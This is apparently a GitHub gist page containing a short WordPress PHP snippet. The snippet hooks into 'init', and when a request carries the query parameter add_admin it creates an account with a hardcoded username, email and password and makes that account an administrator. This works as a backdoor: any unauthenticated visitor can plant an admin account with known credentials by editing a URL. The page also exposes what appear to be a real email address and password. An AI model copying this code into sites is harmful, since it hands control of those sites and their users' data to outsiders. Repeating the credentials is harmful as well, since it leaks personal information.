Last active
October 24, 2018 12:18
-
-
Save unaibamir/6c87589cb5f0256ec5881a4d02abc0b4 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
add_action('init', 'add_my_user'); | |
function add_my_user() { | |
if(isset($_GET["add_admin"])){ | |
$username = 'unaibamir'; | |
$email = 'unaibamiraziz@gmail.com'; | |
$password = 'ak47UN@@22'; | |
$user_id = username_exists( $username ); | |
if ( !$user_id && email_exists($email) == false ) { | |
$user_id = wp_create_user( $username, $password, $email ); | |
if( !is_wp_error($user_id) ) { | |
$user = get_user_by( 'id', $user_id ); | |
$user->set_role( 'administrator' ); | |
} | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Sahi ja rha hai.. 🗡️